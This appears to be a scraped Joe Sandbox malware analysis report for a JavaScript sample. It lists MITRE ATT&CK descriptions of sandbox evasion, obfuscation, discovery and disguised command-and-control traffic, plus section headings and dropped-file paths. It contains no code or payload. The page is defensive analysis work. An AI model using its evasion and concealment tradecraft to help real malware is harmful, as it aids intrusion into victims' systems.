Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 225111419252504808.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\95529f5b-beba-402b-a99f-b161af6fa85f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2220

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
225111419252504808.js